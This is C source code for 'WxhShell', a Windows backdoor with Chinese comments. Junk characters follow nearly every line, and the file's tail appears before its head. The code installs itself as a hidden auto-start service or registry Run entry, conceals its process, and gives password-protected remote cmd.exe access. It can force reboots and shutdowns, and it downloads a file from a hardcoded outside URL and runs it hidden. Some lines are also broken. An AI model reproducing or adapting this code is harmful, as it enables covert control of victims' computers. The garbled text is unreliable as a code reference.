    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >z69r0)>  
    else { cpBTi  
    closesocket(wsh); !W45X}/o  
    ExitThread(0); oOy_2fwZPp  
    } j}@n`[V1  
    break; ns !Mqcm  
    } 4VfZw\^  
  // 获取shell 25jgM!QBXF  
  case 's': { l=t$ XWh!  
    CmdShell(wsh); q{oppali  
    closesocket(wsh); \MFjb IL  
    ExitThread(0); 1mz72K  
    break; !5[5l!{x  
  } 2z0 27P-Q  
  // 退出 EEO)b_(  
  case 'x': { U>kL|X3 V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *`wgqin  
    CloseIt(wsh); [>U =P`  
    break; NYp46;  
    } y8=H+Y  
  // 离开 XSz)$9~hk  
  case 'q': { ~i/K7qZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .Zv uhOn^  
    closesocket(wsh); 0:4w@"Q  
    WSACleanup(); qEV>$>}  
    exit(1); VTvNn  
    break; Mi&jl_&  
        } $y+Bril5W  
  } o@tc   
  } <;nhb  
[&a=vE  
  // 提示信息 YhNO{4D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /%w3(e  
} GbN|!,X1m  
  } YB'BAX<lI  
.=<<b|  
  return; ?mJ&zf|B8  
} M[7$cfp-Y~  
_mn2bc9M  
// shell模块句柄 ORP-@-dap  
int CmdShell(SOCKET sock) lr_c  
{ P+t`Rw  
STARTUPINFO si; Ov PTgiI!N  
ZeroMemory(&si,sizeof(si)); "s5[w+,R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,$<="kJk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ub-q0[6  
PROCESS_INFORMATION ProcessInfo; 'PVxc %[  
char cmdline[]="cmd"; Rk@xv;t;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8[xl3=  
  return 0; b;%>?U`>p  
} rGb<7b%  
tDIQ=  
// 自身启动模式 %#$K P  
int StartFromService(void) }MXC0Z~si  
{ A 2Rp  
typedef struct X(*MHBd  
{ wPrqFpf  
  DWORD ExitStatus; /[RO>Z9  
  DWORD PebBaseAddress; #[.aj2  
  DWORD AffinityMask;  d| OEZx  
  DWORD BasePriority; DZE@C^ 0%  
  ULONG UniqueProcessId; o-_H+p6a  
  ULONG InheritedFromUniqueProcessId; A$Ok^  
}   PROCESS_BASIC_INFORMATION; T.?}iz=ZEq  
]XhX aoqL  
PROCNTQSIP NtQueryInformationProcess; wY6m^g$h3  
38l 8n.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YecV+ K'p:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;dVYR=l  
GP{$w_'!J0  
  HANDLE             hProcess; @m+2e C77  
  PROCESS_BASIC_INFORMATION pbi; %29lDd(<  
B EB[K2[9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1E]TH/JK  
  if(NULL == hInst ) return 0; * faG0le  
<Po$|$_~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ATscP hk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y0_z_S#gO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r!e:sJAB.  
WCUaXvw  
  if (!NtQueryInformationProcess) return 0; xfK@tLEZ-1  
ptMDhMVW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e-Ma8+X\  
  if(!hProcess) return 0; iininITOS{  
f'?FYBL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *9O@DF&*6  
<b#1L  
  CloseHandle(hProcess); @Z2^smf  
o4F(X0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ALXie86a8  
if(hProcess==NULL) return 0; 7w51UmO  
`b?o%5V2x  
HMODULE hMod; S}/5W  
char procName[255]; !M@jW[s  
unsigned long cbNeeded; PB(I3R9  
$QB/n63  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <kOdd)X  
PQJw"[N/YM  
  CloseHandle(hProcess); <`'T#e$  
5/YGu=,  
if(strstr(procName,"services")) return 1; // 以服务启动 )/cf%  
[D_s`'tg  
  return 0; // 注册表启动 =}UcYC6l  
} =k^ d5  
hnBX enT6  
// 主模块 @|'$k{i  
int StartWxhshell(LPSTR lpCmdLine) D A_}pS"  
{ c$^~7.~{Qy  
  SOCKET wsl; '|J~2rbyr  
BOOL val=TRUE; *w$3/  
  int port=0; /l>!7  
  struct sockaddr_in door; jT=fq'RK  
PT39VI =  
  if(wscfg.ws_autoins) Install(); buKSZ  
]e6$ ={  
port=atoi(lpCmdLine); Q4ZKgcC  
8@,8j!$8G  
if(port<=0) port=wscfg.ws_port; s((c@)M  
GUn$IPOM  
  WSADATA data; B]u!BBjC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,{2= nb[  
-an~&C5\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    !U=o<)I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l/-qVAd!q  
  door.sin_family = AF_INET; wQX18aF/#d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~CuJ$(9Y  
  door.sin_port = htons(port); R4vf  
YHzP/&0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U%)-_ *`z  
closesocket(wsl); Ubm]V{7  
return 1; COA*Q  
} ^C'{# p"  
Qo\?(E M  
  if(listen(wsl,2) == INVALID_SOCKET) { "</A) y&  
closesocket(wsl); @Nn'G{8OG  
return 1; *I.eCMDa  
} (;9j#x  
  Wxhshell(wsl); hip't@.uE  
  WSACleanup(); %l[]n;*$  
sA2esA@C<o  
return 0; W:>XXUU  
uj:1_&g  
} -% \LW1  
0K4A0s_R`  
// 以NT服务方式启动 TeRH@oI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w8cbhc  
{ 089v; d 6  
DWORD   status = 0; 'U-8w@\Z  
  DWORD   specificError = 0xfffffff; P!dSJ1'oC  
b_f"(l8'S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N\anjG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "0LSy x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?Ta<.j  
  serviceStatus.dwWin32ExitCode     = 0; x Nb7VUV7  
  serviceStatus.dwServiceSpecificExitCode = 0; qSt\ 6~  
  serviceStatus.dwCheckPoint       = 0; -ImV Xy]?  
  serviceStatus.dwWaitHint       = 0; _*ar\A`  
f4Ob4ah!(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XtqhK"f%  
  if (hServiceStatusHandle==0) return; ,\T7{=ZG\!  
A1n4R  
status = GetLastError(); _+,>NJ  
  if (status!=NO_ERROR) {r%T_BfY  
{ n0Qp:_2z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &v#pS!UOj  
    serviceStatus.dwCheckPoint       = 0; f2u4*X E\  
    serviceStatus.dwWaitHint       = 0; Clb7=@f  
    serviceStatus.dwWin32ExitCode     = status; Nq1YFI>W  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,P%i%YPj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hP}-yW6]  
    return; 5zOC zm  
  } 3_8W5J3I  
Qb|@DMq%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .bUj  
  serviceStatus.dwCheckPoint       = 0; YJ|U| [  
  serviceStatus.dwWaitHint       = 0; 3&6sQ-}*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "}vxHN#  
} 4~1lP&  
@z^7*#vQv  
// 处理NT服务事件,比如:启动、停止 ~G1B}c]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~OWpk)Vq  
{ (8~D ^N6Z  
switch(fdwControl) DMOP*;Uk  
{ UF$O@l  
case SERVICE_CONTROL_STOP: "7eL&  
  serviceStatus.dwWin32ExitCode = 0; g7{:F\S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dQ_hlx!J  
  serviceStatus.dwCheckPoint   = 0; (|>rDk;  
  serviceStatus.dwWaitHint     = 0; -A@/cS%p  
  { Tgl >  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PS8^=  
  } AH-BZ8  
  return; \OXQ%J2v  
case SERVICE_CONTROL_PAUSE: eD8e0 D'S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gVrfZ&XF84  
  break; !hjF"Pa  
case SERVICE_CONTROL_CONTINUE: rZWs-]s6t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ckc5;:b&m  
  break; kj6H+@ {  
case SERVICE_CONTROL_INTERROGATE: #lO ^PK  
  break; %|j8#09  
}; A/{!w"G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p[ &b@U#  
} oJQ \?~  
vqZBDQ0  
// 标准应用程序主函数 q0DRT4K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [RY Rt/?Q  
{ J=&}$  
P| hwLM  
// 获取操作系统版本 *s<cgPKJ @  
OsIsNt=GetOsVer(); G1\F7A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vCXmu_S4^>  
w ^?#xU1.i  
  // 从命令行安装 2x<!>B  
  if(strpbrk(lpCmdLine,"iI")) Install(); Fy0sn|  
L6#4A3yh  
  // 下载执行文件 }1%%`  
if(wscfg.ws_downexe) { T$<yl#FY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3.1%L"r[)  
  WinExec(wscfg.ws_filenam,SW_HIDE); ) 7X$um  
} RB6Q>3g  
_z J /z  
if(!OsIsNt) { _90<*{bt.  
// 如果时win9x,隐藏进程并且设置为注册表启动 `<kB/T  
HideProc(); G4rzx%W?  
StartWxhshell(lpCmdLine); +prUau*  
} ns *:mGh  
else #SG.`J<%  
  if(StartFromService()) dS\!tdHP-Q  
  // 以服务方式启动 -2(?O`tZ  
  StartServiceCtrlDispatcher(DispatchTable); IMBjI#\  
else R1/c@HQw?  
  // 普通方式启动 =XK}eQ_d  
  StartWxhshell(lpCmdLine); | KY-kRN7  
<LzxnTx=  
return 0; t2YB(6w+xg  
} gVe]?Jva`  
E-($Xc  
T "hjL  
wph8ln"C-  
=========================================== ;mRZ_^V;  
oe|8  
b(CO7/e>  
xcn~KF8  
z>\l%_w  
|>[qC O  
" CyS %11L  
lHDZfwJ&C1  
#include <stdio.h> K&zW+C b  
#include <string.h> 8};kNW^2m  
#include <windows.h> KVr9kcs  
#include <winsock2.h> GzBPI'C  
#include <winsvc.h> ,k=8|=aF  
#include <urlmon.h> ~#i2reG5  
!tcz_%  
#pragma comment (lib, "Ws2_32.lib") k5J18S  
#pragma comment (lib, "urlmon.lib") dpK -  
G.^)5!By  
#define MAX_USER   100 // 最大客户端连接数 QqRF?%7q"q  
#define BUF_SOCK   200 // sock buffer cTS.yN({G  
#define KEY_BUFF   255 // 输入 buffer \#WWJh"W  
jvAjnh#  
#define REBOOT     0   // 重启 ;]b4O4C\  
#define SHUTDOWN   1   // 关机 TLp2a<Iy  
Sc#3<nVg  
#define DEF_PORT   5000 // 监听端口 @}:E{J#g  
4<Nd5T  
#define REG_LEN     16   // 注册表键长度 :WX OD  
#define SVC_LEN     80   // NT服务名长度 u|T]Ne  
[ZC\8tP`V  
// 从dll定义API 93:oXyFjD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 97$Q?a8S@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TET=>6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lM}-'8tt?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v|\#wrCT?  
Z^z{, u;!  
// wxhshell配置信息 UP$>,05z6  
struct WSCFG { L6DYunh}^N  
  int ws_port;         // 监听端口 rfYa<M Qc  
  char ws_passstr[REG_LEN]; // 口令 lS#: u-k  
  int ws_autoins;       // 安装标记, 1=yes 0=no &M@c50&%  
  char ws_regname[REG_LEN]; // 注册表键名 (_8.gS[  
  char ws_svcname[REG_LEN]; // 服务名 #z _<{' P"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x;$ESPPg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M:/(~X{?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /e[m;+9^&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zi3v, Kq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RgUQ:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t72u%M6  
eY'n S  
}; KvEv0L<ky  
`GW&*[.7  
// default Wxhshell configuration iw=e"6V  
struct WSCFG wscfg={DEF_PORT, sNcU>qjj6  
    "xuhuanlingzhe", p JT)X8K"  
    1, /]'&cD 1  
    "Wxhshell", :r ~iFP*  
    "Wxhshell", J(@" 7RX  
            "WxhShell Service", 8Iu6r}k?~`  
    "Wrsky Windows CmdShell Service", *~shvtq  
    "Please Input Your Password: ", U#S-x5Gn  
  1, 2 oV6#!{Z  
  "http://www.wrsky.com/wxhshell.exe", F6111Q </  
  "Wxhshell.exe" 1^*ogMe  
    }; LAo$AiTUR{  
[Z"Z5e`  
// 消息定义模块 /*{'p!?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |>.MH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @'):rFr@F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3<"j/9;K'  
char *msg_ws_ext="\n\rExit."; @&`^#pok  
char *msg_ws_end="\n\rQuit."; pe0ax- Zv  
char *msg_ws_boot="\n\rReboot..."; \8!CKnfs  
char *msg_ws_poff="\n\rShutdown..."; ]' [:QGr  
char *msg_ws_down="\n\rSave to "; R]e&JoY  
Z37Dv;&ZD  
char *msg_ws_err="\n\rErr!"; dor1(@no|  
char *msg_ws_ok="\n\rOK!"; |LZ{kD|  
iu(obmh/o  
char ExeFile[MAX_PATH]; ,Yx<"2 W  
int nUser = 0; #b;k+<n[X  
HANDLE handles[MAX_USER]; mRRZ/m?A(  
int OsIsNt; [?|yQ x  
E:B"!Y6  
SERVICE_STATUS       serviceStatus; vs[!B-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }4!}vkVx  
LKp;sV  
// 函数声明 3<+ZA-2  
int Install(void); *]NfT}}  
int Uninstall(void); "_\"S  
int DownloadFile(char *sURL, SOCKET wsh); 6vAZLNG3  
int Boot(int flag); ][tR=Y#&y5  
void HideProc(void); hU-FSdR  
int GetOsVer(void); !reOYt|  
int Wxhshell(SOCKET wsl); Hzm_o>^KC  
void TalkWithClient(void *cs); Uq_lT,  
int CmdShell(SOCKET sock); iKV|~7nwO  
int StartFromService(void); ga/zt-&  
int StartWxhshell(LPSTR lpCmdLine); Zv!XNc!"$y  
;`LG WT-<F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,$ /Ld76U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?%$O7_ThvA  
+aL  
// 数据结构和表定义 ;22?-F^  
SERVICE_TABLE_ENTRY DispatchTable[] = &'&)E((  
{ }xt^}:D  
{wscfg.ws_svcname, NTServiceMain}, ?!U.o1  
{NULL, NULL} s|A[HQUtJ  
}; e+-#/i*  
}A@:JR+|  
// 自我安装 W)bSLD   
int Install(void) f3G:J<cL  
{ BKtb@o~(  
  char svExeFile[MAX_PATH]; Z8FgxR  
  HKEY key; <!FcQVH+L  
  strcpy(svExeFile,ExeFile); ]s0wJD=  
ZCj1Cz]"l<  
// 如果是win9x系统,修改注册表设为自启动 SyI~iW#Y1  
if(!OsIsNt) { Qt {){uE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mY/"rm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q"~%T@e  
  RegCloseKey(key); oF>`>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z81;Y=(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |yO%w#  
  RegCloseKey(key); /eH37H  
  return 0; B E8_.>  
    } ?xH{7)dO  
  } wU!-sf;]y  
} BXU0f%"8U  
else { EK=0oy[  
(?8i^T?WP=  
// 如果是NT以上系统,安装为系统服务 yUJ#LDW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); EC8Z. Uu  
if (schSCManager!=0) 8)?&eE'  
{ Dt[+HCCY:  
  SC_HANDLE schService = CreateService -.? @f tY  
  ( b<4nljbx  
  schSCManager, %n9ukc~$p  
  wscfg.ws_svcname, JD0s0>q_  
  wscfg.ws_svcdisp, aV|V C $  
  SERVICE_ALL_ACCESS, cL*oO@I&_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R/"-r^j  
  SERVICE_AUTO_START, ;f[##=tm  
  SERVICE_ERROR_NORMAL, 3Fn}nek  
  svExeFile, hx&fV#m  
  NULL, #`gX(C>  
  NULL, ~K#92  
  NULL, R,78}7B  
  NULL, qOy(dG g  
  NULL N [3Y~HX!q  
  ); yH-&o,  
  if (schService!=0) !Whx^B:  
  { K)    
  CloseServiceHandle(schService); qGH[kd  
  CloseServiceHandle(schSCManager); )@I] Rk?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +C7E]0!r  
  strcat(svExeFile,wscfg.ws_svcname); pXlqE,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0nCiN;sA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b3[[ Ah-  
  RegCloseKey(key); [Z2[Iy  
  return 0; \^9n&MonM  
    } WgR%mm^  
  } @OT$* Qh  
  CloseServiceHandle(schSCManager); >Tl/3{V  
} " ]G'^  
} 2;>uP#1]  
h%u!UHA  
return 1; +J C"@  
} '@+q_v@Jl  
Ew{*)r)m  
// 自我卸载 *&IvEu  
int Uninstall(void) /D^ g"  
{ $mKExW  
  HKEY key; h_P  
HLqN=vE6  
if(!OsIsNt) { +,YK}?e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NY<qoV  
  RegDeleteValue(key,wscfg.ws_regname); ktynIN  
  RegCloseKey(key); ca3zY|Oo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BaI-ve  
  RegDeleteValue(key,wscfg.ws_regname); oKGF'y?A>  
  RegCloseKey(key); Ru#pJb(R  
  return 0; tzd !r7  
  } Q.eD:@%iE  
} 8(Ptse  ,  
} >gL&a#<S  
else { .!L{yU,  
 "O9n|B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r`sKe &  
if (schSCManager!=0) PR!0=E*}  
{ +ug2p;<B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k=kkF"  
  if (schService!=0) =s*c(>  
  { )K]p^lO  
  if(DeleteService(schService)!=0) { wAW{{ p  
  CloseServiceHandle(schService); 8r"-3<*  
  CloseServiceHandle(schSCManager); w/ZP. B  
  return 0; r*mSnPz\q  
  } H1q,w|O9j  
  CloseServiceHandle(schService); ;:oJFI#;  
  } {`*Fu/Upb  
  CloseServiceHandle(schSCManager); +924_,zF  
} "2-D[rYZ  
} MtPdpm6\  
l x5.50mI  
return 1; { g[kn^|  
} ndDF(qHr  
"AXgT[ O  
// 从指定url下载文件 DAf@-~c  
int DownloadFile(char *sURL, SOCKET wsh) V\L%*6O  
{ $Lbamg->E  
  HRESULT hr; zmD7]?|  
char seps[]= "/"; t+F_/_"B  
char *token; ?MSwr_eZH  
char *file; ~e hN%-  
char myURL[MAX_PATH]; A:y^9+Da  
char myFILE[MAX_PATH]; j~.tyxOq#  
0S>L0qp  
strcpy(myURL,sURL); J,:;\Xhl  
  token=strtok(myURL,seps); CF-tod  
  while(token!=NULL) l?_Fy_fBt  
  { rrEf<A}  
    file=token; 8EJP~bt  
  token=strtok(NULL,seps); /DHV-L  
  } L1G)/Vkw  
ADOA&r[  
GetCurrentDirectory(MAX_PATH,myFILE); /3hY[#e  
strcat(myFILE, "\\"); ?5B?P:=kl  
strcat(myFILE, file); <VstnJo`Z  
  send(wsh,myFILE,strlen(myFILE),0); ~&<vAgy,  
send(wsh,"...",3,0); Crj7n/mp]s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]gnEo.R  
  if(hr==S_OK) 7Q Ns q  
return 0; +3XaAk  
else ^yl}/OD  
return 1; /%jX=S.5h<  
;K>'Gl  
} H{i|?a)  
=~W=}  
// 系统电源模块 ci2Z_JA+  
int Boot(int flag) tcl9:2/^]  
{ SvkCx>6/G  
  HANDLE hToken; nIL67&  
  TOKEN_PRIVILEGES tkp; B:UM2Jl   
KlS#f  
  if(OsIsNt) { GB}=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dP_bFUzg  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,gG RCp  
    tkp.PrivilegeCount = 1; pJ1\@G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /+`%u&<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .)bNi*&  
if(flag==REBOOT) { @x!+_z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #U w X~  
  return 0; 8EdaxeDq  
} .=-a1p/  
else { O/#uQn}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +03/A`PKrB  
  return 0; 6;s[dw5T  
} 2)0J@r'  
  } 1k)pJzsc  
  else { bd}[X'4d  
if(flag==REBOOT) { :HrFbq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &\cS{35  
  return 0; /joY? T  
} nnT#S  
else { +%klS `_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,g0t&jITo  
  return 0; Np$&8v+en  
} o-l-Z|)7  
} FZ]+(Q"]:  
YXqYIG.G  
return 1; /!;v$es S  
} kQd|qZ=:w  
i0+e3!QU  
// win9x进程隐藏模块 I#;dS!W"'  
void HideProc(void) yw7(!1j=  
{ 7hPwa3D^  
/ bH2Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eYlI};  
  if ( hKernel != NULL ) +zLw%WD[l  
  { lEHXh2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;&}z L.!jo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KDP47A  
    FreeLibrary(hKernel); :HY =^$\  
  } xw_)~Y%\  
@Y.r ,q  
return; FAM:; F30  
} 1(>2tEjYT  
;;Z'd@  
// 获取操作系统版本 Dic|n@_Fy  
int GetOsVer(void) HYT~AO-!  
{ $- %um  
  OSVERSIONINFO winfo; jpZq]E9`P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ' i5KRFy-  
  GetVersionEx(&winfo); u=]*,,5<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yk5K8D[tV  
  return 1; f##/-NG  
  else H%rNQxA2 +  
  return 0; 5|pF*8*  
} XSK<hr0m  
T2azHo7  
// 客户端句柄模块 ~&MDfpl  
int Wxhshell(SOCKET wsl) ,~1k:>njY~  
{ > cWE@P  
  SOCKET wsh; gCG #?f  
  struct sockaddr_in client; 0} &/n>F  
  DWORD myID; LdNpb;*  
R'>@ja*  
  while(nUser<MAX_USER) \SO)|M>.a  
{ ZADMtsk  
  int nSize=sizeof(client); QE)zH)(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?)k ]Vg.  
  if(wsh==INVALID_SOCKET) return 1; \.H9e/vU`  
aL90:,V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M,li\)J!&  
if(handles[nUser]==0) &s?uMWR  
  closesocket(wsh); 5}]+|d;  
else [ @"6:tTU  
  nUser++; $2i@@#g8  
  } L'aB/5_%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hp9LV2_5  
`]6<j<' ,  
  return 0; e`7>QS ;.  
} VX8CEO  
pO:]3qv  
// 关闭 socket xJ. kd Tr  
void CloseIt(SOCKET wsh) A4#F AFy  
{ N#e9w3Rli  
closesocket(wsh); U\j g X  
nUser--; lfC]!=2%~8  
ExitThread(0); <?!'  
} n9J{f"`m  
4`:POu&  
// 客户端请求句柄 wJq$yqos{  
void TalkWithClient(void *cs) Tt{z_gU6  
{ !|u?z%  
|?g-8":H8P  
  SOCKET wsh=(SOCKET)cs; 6g" h}p\{S  
  char pwd[SVC_LEN]; W  
  char cmd[KEY_BUFF]; 2;:p H3  
char chr[1]; u|AMqS  
int i,j; Zxqlhq/)  
HKT, 5  
  while (nUser < MAX_USER) { ,i<cst)$u  
hf2bM `d  
if(wscfg.ws_passstr) { .n YlYY'   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y&Fg2_\">  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H7;, Kr  
  //ZeroMemory(pwd,KEY_BUFF); Y2.zT6i  
      i=0; Y \B6c^E)  
  while(i<SVC_LEN) { Z^as ?k(iM  
il !B={  
  // 设置超时 JJbd h \  
  fd_set FdRead; g.hYhg'KUh  
  struct timeval TimeOut; {GnZ@Q:F  
  FD_ZERO(&FdRead); vGh>1U:  
  FD_SET(wsh,&FdRead); 2/s42 FoG  
  TimeOut.tv_sec=8; Jkbeh.  
  TimeOut.tv_usec=0; 'plUs<A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WR"1d\m:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :0 n+RL*5  
|D/a}Av>B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $^{#hYq)o  
  pwd=chr[0]; Tjrb.+cua  
  if(chr[0]==0xd || chr[0]==0xa) { G&1bhi52  
  pwd=0; "uIaKb  
  break; '&Y_,-i  
  } Fc\]*  
  i++; FE,mUpHIR  
    } 0\ (:y^X  
E JuTv%Y8  
  // 如果是非法用户,关闭 socket /PTRe5-7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W9tZX5V1  
} Mkk.8AjC|  
L_vl%ii-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m=^]93+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $,, PF/N8c  
kln)7SzPuk  
while(1) { Bh cp=#  
5~IdWwG*w  
  ZeroMemory(cmd,KEY_BUFF); sr&W+4T  
z rSPa\M  
      // 自动支持客户端 telnet标准   ;xzaW4(3  
  j=0; [ fzYC'A=  
  while(j<KEY_BUFF) { bl^Ihza  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;zD4 #7=  
  cmd[j]=chr[0]; }a~hd*-#  
  if(chr[0]==0xa || chr[0]==0xd) { '&#gs P9  
  cmd[j]=0; SKnYeT  
  break; jLVD37 P^  
  } =%IyR  
  j++; 6Nn+7z<*&z  
    } 8t*sp-cy|  
n^ fUKi*;  
  // 下载文件 N=2T~M 1  
  if(strstr(cmd,"http://")) { C,l,fT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =tt3nfZ9  
  if(DownloadFile(cmd,wsh)) hd9HM5{p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ztSQrDbbb4  
  else 9AB U^ig  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HV/:OCK  
  } Yn= "vpM1  
  else { %wOkp`1-  
yFDeY PZP  
    switch(cmd[0]) { Gg9MAK\C9  
  =cjO]  
  // 帮助 ]Rxo}A  
  case '?': { X=]utn  
